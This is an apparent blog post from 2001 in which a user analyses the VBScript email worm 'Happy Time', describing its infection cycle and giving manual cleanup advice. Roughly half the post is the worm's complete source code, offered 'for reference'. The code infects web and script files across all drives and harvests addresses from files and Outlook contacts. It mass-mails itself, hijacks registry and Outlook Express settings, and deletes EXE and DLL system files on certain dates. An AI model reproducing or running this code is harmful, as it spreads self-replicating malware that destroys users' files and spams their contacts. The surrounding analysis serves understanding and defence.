浅析欢乐时光（HAPPY TIME）病毒

徐广圻

01-5-11 下午 02:19:25

本人是个上网新手，今年四月份左右才开始上网。新手嘛，可不像高手那样，懂得如何使自己的电脑免受网络病毒之害，只使了个瑞星杀毒软件，以为如此一来就万事大吉了。刚开始上网时，简直在五光十色的各网站及信息的海洋中迷了路，东走西瞧，看见感兴趣的网页就保存，遇见有趣的软件即下载，想必列位初次上网时也如此吧。

沉醉于互联网带来的乐趣之中没几天，我的爱机就出现了异常：每隔十几秒钟，鼠标指针旁就出现一个沙漏图标一闪，似乎电脑在执行什么程序，可我关闭了一切程序，只剩了个WINDOWS桌面也无济于事，在此期间，电脑速度大幅下降，运行任何软件都是老半天才出画面，且每隔十几秒钟就停顿一下，无奈只得重启，但一选择了重新启动，电脑就没了反应，就在我以为死机时，跳出来个错误信息框说是内存严重不足？！天哪，我的爱机可是有256M内存呢！按CTRL+ALT+DEL键，出现关闭程序对话框，我在其中发现了几百个不明任务，都标着WSCRIPT。。。字样。看来电脑患上了瑞星也查不出的新病毒了。

此后的几天是段痛苦的经历，我让爱机拖着重病的身子在网上下载了一些杀毒软件，还好有一个金山毒霸的试用版，打开它的启发式查毒选项可以查出一未知病毒，但只能警告而不能杀除。偶然有一次，我打开一个保存在硬盘中的网页文件时也收到了警告，而其它网页文件则不警告，机会来了！我立即将其后缀名由HTM改为TXT，用记事本打开，在标记后露出了此病毒的庐山真面目。

病毒是用VBSCRIPT语言编写的，其第一行写着 I am sorry, happy time.(意为对不起您了，欢乐时光。真是气死人不偿命！恶作剧的混蛋口说"Sorry"祝人"欢乐"？！) 本人不懂VBSCRIPT语言，但曾学过VISUAL BASIC，再翻了一些VBSCRIPT的资料，一番临时抱佛脚后，开始解读病毒源程序。由于缺乏相应资料加之本人水平有限，不能读懂每一行代码，只能看出个大概，但我越分析越心惊，这是个仅浏览网站页面就会感染的高传染性，高破坏性的病毒！

先看一下此病毒的发病机制：

首次染毒时，会将WINDOWS / WEB文件夹里的所有网页文件染上病毒，并找出这些文件中的任何EMAIL地址向它们发送病毒邮件，对方只要一打开即会染毒；

以后每隔十秒钟发作一次，但发作完后仍驻留在内存，十秒一次的发作，再大的内存也会给蚕食殆尽；

每次发作时，在普通的日子里，会找出一个后缀名为HTML、HTM、VBS、ASP的文件传染（别小看了每次一个文件，它可是十秒一次的发作哟！），并查出此文件中所有的EMAIL地址发送病毒邮件，在月份加天数为13的"特殊"日子里（1月12日、2月11日......12月1日），它每次发作会找出一个后缀名为EXE、DLL的文件（通常为重要的系统文件）来删除，使你的电脑彻底瘫痪；

该病毒在WINDOWS注册表内保存已发作的次数，每次发作时它检查已发作次数，如其是366的倍数，则向外乱发病毒邮件：如系统时间的秒数是偶数，则发送系统邮件，如是奇数，则到OUTLOOK的默任目录里取得EMAIL地址发送病毒邮件。

顺便说一句，由于此病毒发作频繁且乱发EMAIL，到月底结帐时，你可能要多付一大笔冤枉钱。

现在我们来看看这可恶的病毒的结构，看它是如何使得我们在浏览网页时即染毒的。

前面提到过，该病毒是用VBSCRIPT语言写成的，翻了一些资料，才知道VBSCRIPT是一种能增强网页功能的脚本语言，它嵌入HTML文件中，你浏览网页时，它也与HTML文件一起调入内存，由浏览器解释并执行。所以在你看到网页时，它其中所含的VBSCRIPT代码（如果有的话）已被执行，这样就很容易被心怀叵测者用来编制破坏程序。VBSCRIPT的设计者们也考虑到了这点，因此VBSCRIPT被设计成VISUAL BASIC的简化版，舍弃了一些"危险的"语句命令，所以VBSCRIPT是"安全的"，可用于网页的编制。确实光是VBSCRIPT的话确实无甚威胁，可是VBSCRIPT提供了创建并使用对象（OBJECT）功能，而WINDOWS提供大量对象给各种语言使用，利用这些对象你几乎能干任何事！比如说本病毒的许多破坏工作就是由创建并使用WSCRIPT（WINDOWS SCRIPT即WINDOWS脚本语言）对象来完成的，所以可以这样说：VBSCRIPT是不安全的，是危险的！欢乐时光病毒就是个最有力的见证！

言归正传，我们还是来看看病毒的结构。

初始化部分

初始化（建立SCRIPTLET.TYPELIB对象等）

↓

当前是HTML状态？

是 ↙ ↘ 否

━━━━━━ ━━━━━━━

↓ ↓

在WINDOWS目录下有HELP.VBS文件吗？运行主发作程序

↓

有 ↙ ↘ 无

━━━ ━━━━━━━

↓ （3） ↓ （1）

设置为每10秒钟调用一次将本文件中的病毒代码以HTML格式存为

HELP.VBS WINDOWS目录下的HELP.HTA文件，并调用HELP.HTA。

结束结束

主发作程序

↓

建立含有HTML，VBS，HTM，ASP的后缀名表

当前是HELP.VBS运行状态？

（4）是 ↙ ↘ 否（2）

━━━━━━ ━━━━━━━

↓ ↓

如月+天为13则将后缀名表改为用本病毒代码在WINDOWS目录下创

只包含EXE，DLL；建HELP.VBS文件，及UNTITLE.HTM

文件；

将注册表中的HKEY_CURRENT_USER

Software/Help/Count病毒发作计数加1；修改HKEY_CURRENT_USER/Identities

/用户标识号/Software/Microsoft

/look Express/5.0/Mail/下的键值：

Software/Help/File_Name待感染文件名 Message Send HTML改为1

取出，并按后缀名表找出下一待感染文件， Compose Use Stationery改为1

存于此处； Stationery Name改为指向 untitle.htm

查出其中的EMAIL地址发送病毒邮件；在WINDOWS/WEB目录下查找HTML，VBS，

HTM，ASP，HTT文件，在它们末尾如待

感染文件名是EXE，DLL文件则删除！

末尾添加本病毒代码，并查出其中的

EMAIL地址发送病毒邮件

用本病毒代码在WINDOWS目录下创建一个HTM文件并将其文件名写入HKEY_CURRENT_USER/Software/Help/Wallpaper及HKEY_CURRENT_USER/Control Panel/desktop/wallPaper

以上流程基本解释了其发病机制，现在我对流程上（）内的数字作一下说明：

刚开始接触本病毒时，我们一定是处于浏览含病毒的网页状态，也即是流程上的HTML状态，且此时硬盘上尚未有HELP.VBS病毒文件，所以病毒执行（1）分支，建立HELP.HTA病毒文件，并调用它。然后在HELP.HTA病毒文件运行时，此时它已不处于HTML状态，所以运行主发作程序，在主发作程序中，由于此时不是HELP.VBS运行状态所以运行（2）分支并建立HELP.VBS病毒文件，以后再遇见本病毒时，由于已有了HELP.VBS病毒文件，就执行（3）分支，设定为每10秒钟执行一次HELP.VBS，而HELP.VBS会执行主发作程序的（4）分支，完成一系列破坏任务。

听说现在已有了能杀此病毒的软件，具体我也不清楚。如你像我一样已不幸染毒，在得到杀毒软件前，首先应注意在"特殊"日子里不要开机，以免爱机成为死机；另外从流程可看出，本病毒只感染后缀名为HTM，HTML，VBS，ASP（以及WINDOWS/WEB下的HTT文件），所以你开机只至WINDOWS桌面出现都是安全的，把桌面的墙纸设为无，再次重新启动，注意不要使用我的电脑或是WINDOWS资源管理器，因为它们每次运行都要装入许多文件，极有可能激活病毒，你要处理文档最好进入DOS状态，在DOS下操作；注意不要看任何帮助信息，因为很多帮助文件都是HTML格式的。如你是编程好手，你可编个程序，检查硬盘中所有受感染后缀名为HTM，HTML，VBS，ASP的文件，并清除病毒，如你不会编程，又无杀毒软件，你只能用查找功能查出所有后缀名为HTM，HTML，VBS，ASP的文件，然后一一手工操作：重命名为TXT文件，打开检查，如文件尾有病毒则删除，保存后再改回原来的文件名，然后是下一个.......

但我们还要上网，还要浏览，即使我们有了能杀欢乐时光病毒的软件，谁能保证哪个家伙不会再写出诸如此类的病毒使我们受害？看来只有等微软出个能禁止VBSCRIPT，JAVASCRIPT，ACTIVE X........的浏览器来了。就我个人而言，情愿不要任何特效，只要安全。

最后，奉上欢乐时光病毒的源程序，供有兴趣者参考，如哪位高人能参透此程序，也请发表解析结果，让我们对次类病毒有更深认识。

我对源程序作了必要的缩进处理，以方便阅读。

欢乐时光病毒的源程序：

Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER/Software/"
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:/help.htm") Then
Of.DeleteFile ("C:/help.htm")
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn = Rg(Ks & "Help/Count")
If Cn = "" Then
Cn = 1
End If
Rw Ks & "Help/Count", Cn + 1
f1 = Rg(Ks & "Help/FileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks & "Help/FileName", f2
If IsDel(fext) Then
f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks & "Help/FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER/Control Panel/desktop/wallPaper")
If Rg(Ks & "Help/wallPaper") <> wp Or wp = "" Then
If wp = "" Then
n1 = ""
n3 = Cs & "/Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "/" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt
pfc.Close
Rw Ks & "Help/wallPaper", n3
Rw "HKEY_CURRENT_USER/Control Panel/desktop/wallPaper", n3
End If
Else
Set fc = Of.CreateTextFile(Ds & "/Help.vbs", True)
fc.Write Sa("0100")
fc.Close
bf = Cs & "/Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
oeid = Rg("HKEY_CURRENT_USER/Identities/Default User ID")
oe = "HKEY_CURRENT_USER/Identities/" & oeid & "/Software/Microsoft/Outlook Express/5.0/Mail"
MSH = oe & "/Message Send HTML"
CUS = oe & "/Compose Use Stationery"
SN = oe & "/Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
Web = Cs & "/WEB"
Set gf = Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext = GetExt(Of, Od, m)
If fext <> "" Then
Fw Of, m, fext
End If
Next
End If
End Sub

Sub mclose()
document.Write "<" & "title>I am sorry!</title" & ">"
window.Close
End Sub

Sub Rt()
Dim mPath
On Error Resume Next
mPath = Grf()
Iv mPath, "Help.vbs"
End Sub

Function Sa(n)
Dim VBSText, m
VBSText = Lvbs()
If Mid(n, 3, 1) = 1 Then
m = "<%" & VBSText & "%>"
End If
If Mid(n, 2, 1) = 1 Then
m = VBSText
End If
If Mid(n, 1, 1) = 1 Then
m = Lscript(m)
End If
Sa = m & vbCrLf
End Function

Sub Fw(Of, S, n)
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
mt = fc.ReadAll
fc.Close
If Not Sc(mt) Then
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
fc2.Write mt
fc2.Close
Msend (mmail)
End If
End Sub

Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
Sc = True
Else
Sc = False
End If
End Function

Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
If Of.FileExists(S) Then
fpath = Of.GetFile(S).ParentFolder
fname = S
ElseIf Of.FolderExists(S) Then
fpath = S
T = True
Else
fpath = Dnext(Of, "")
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of, Od, m) <> "" Then
FNext = m
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
T = True
End If
Next
fpath = Pnext(Of, fpath)
Loop
End Function

Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
Set gp = Of.GetFolder(S).SubFolders
pn = gp.Count
If pn = 0 Then
Ppath = LCase(S)
Npath = LCase(Of.GetParentFolderName(S))
T = True
Else
Npath = LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
Npath = Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
m = Of.GetDriveName(Ppath)
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function

Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
If T Then
Dnext = d
Exit Function
Else
If LCase(S) = LCase(d) Then
T = True
End If
If m = "" Then
m = d
End If
End If
End If
Next
Dnext = m
End Function

Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
GetExt = Od.Item(fext)
End Function

Sub Rw(k, v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub

Function Rg(v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
Rg = R.RegRead(v)
End Function

Function IsVbs()
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
IsVbs = False
Else
IsVbs = True
End If
End Function

Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
Else
IsHTML = True
End If
End Function

Function IsMail(S)
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 Then
IsMail = True
End If
End If
End Function

Function Lvbs()
Dim f, m, ws, Of
On Error Resume Next
If IsVbs Then
Set Of = CreateObject("Scripting.FileSystemObject")
Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)
Lvbs = f.ReadAll
Else
For Each ws In document.scripts
If LCase(ws.Language) = "vbscript" Then
If Sc(ws.Text) Then
Lvbs = ws.Text
Exit Function
End If
End If
Next
End If
End Function

Function Iv(mPath, mName)
Dim Shell
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb
If Er Then
Iv = False
Else
Iv = True
End If
End Function

Function Grf()
Dim Shell, mPath
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
mPath = "C:/"
For Each mShell In Shell.NameSpace(mPath).Items
If mShell.IsFolder Then
Grf = mShell.Path
Exit Function
End If
Next
If Er Then
Grf = ""
End If
End Function

Function Gsf()
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
m = Of.GetSpecialFolder(0)
If Er Then
Gsf = "C:/"
Else
Gsf = m
End If
End Function

Function Lhtml()
Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _
"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _
"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body></HTML" & ">"
End Function

Function Lscript(S)
Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function

Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
l2 = Len(S2)
i = InStr(S1, S2)
If i > 0 Then
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function

Function Ml(S)
Dim S1, S3, S2, T, adds, m
S1 = S
S3 = """"
adds = ""
S2 = S3 & "mailto" & ":"
T = True
Do While T
S1 = Sl(S1, S2, 1)
If S1 = "" Then
T = False
Else
m = Sl(S1, S3, 0)
If IsMail(m) Then
adds = adds & m & vbCrLf
End If
End If
Loop
Ml = Split(adds, vbCrLf)
End Function

Function Og()
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
Next
Og = m
End Function

Sub Tsend()
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
MM.RecipAddress = m
MM.AttachmentPathName = Gsf & "/Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub

Function MConnect(MS, MM)
Dim U
On Error Resume Next
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
U = Rg("HKEY_CURRENT_USER/Software/Microsoft/Windows Messaging Subsystem/Profiles/DefaultProfile")
MS.UserName = U
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
End Function

Sub Msend(Address)
Dim MS, MM, i, a
MConnect MS, MM
i = 0
MM.Compose
For Each a In Address
If IsMail(a) Then
MM.RecipIndex = i
MM.RecipAddress = a
i = i + 1
End If
Next
MM.MsgSubject = " Help "
MM.AttachmentPathName = Gsf & "/Untitled.htm"
MM.Send
MS.SignOff
End Sub

Function Er()
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function

Function IsDel(S)
If Mid(S, 4, 1) = 1 Then
IsDel = True
Else
IsDel = False
End If
End Function

</script>

浅析欢乐时光（HAPPY TIME）病毒相关推荐

與网络故障专家的對話
IP与MAC绑定的难题问:我的计算机原来采用公网固定IP地址.为了避免被他人盗用,使用"arp -s ip mac"命令对MAC地址和IP地址进行了绑定.后来,由于某种原因,又使 ...
新手学Windows XP四例壁纸设置技巧
好的壁纸能带给我们好的工作心情,下面的文章就给大家讲霁一些经典的壁纸设置技巧. 一.壁纸用BMP还是JPEG格式好? 在Windows 9x中,如果使用的壁纸格式不是BMP格式的,而是JPEG格式的, ...
计算机病毒的6大特征
寄生性:计算机病毒寄生在其他程序之中,当执行这个程序时,病毒就起破坏作用,而在未启动这个程序之前,它是不易被人发觉的. 如:电子邮件(梅利莎病毒)可引出: 引导区电脑病毒, 文件型电脑病毒, 复合型电 ...
色播病毒浅析——美玉在外败絮其中
长期以来,色播类App屡见不鲜,其背后是巨大的金钱利益,是病毒主要栖息之地.为了保护用户切身利益,腾讯手机管家长期以来对此类病毒进行及时查杀. 色播类病毒每日感染用户数如下图所示,感染用户数在 ...
工控机防勒索病毒浅析
勒索病毒并不是某一个病毒,而是一类病毒的统称,主要以邮件.程序.木马.网页挂马的形式进行传播,利用各种加密算法对文件进行加密,被感染者一般无法解密,必须拿到解密的私钥才有可能破解. 已知最早的勒索软件 ...
酒店中计算机信息应用的重要性,浅析计算机在酒店管理中所体现的应用价值
浅析计算机在酒店管理中所体现的应用价值 (5页) 本资源提供全文预览,点击全文预览即可全文预览,如果喜欢文档就下载吧,查找使用更方便哦! 9.9 积分浅析计算机在酒店管理中所体现的应用价值 1概述 ...
利用INF安装服务启动及浅析瑞星行为检测、360主动防御
序 2010年,反病毒(AntiVirus)与反-反病毒(Anti-AntiVirus)不论是从技术的深度.涉及的方方面面,又上升了一个层次. 行为防御.云安全技术等一些新技术不断的加入反病毒的行列, ...
引用病毒是怎么命名的？教你认识病毒命名规则
引用紫色思念的引用病毒是怎么命名的?教你认识病毒命名规则引用 CPU风扇的病毒是怎么命名的?教你认识病毒命名规则很多时候大家已经用各类安全软件.杀毒软件查出了自己的机子中了例如Back ...
病毒及***防御手册之五
3．蠕虫病毒 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /> ...
影响网络OA系统成功实施的技术因素浅析
影响网络OA系统成功实施的技术因素浅析<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office& ...

浅析欢乐时光（HAPPY TIME）病毒

浅析欢乐时光（HAPPY TIME）病毒

浅析欢乐时光（HAPPY TIME）病毒相关推荐

最新文章

热门文章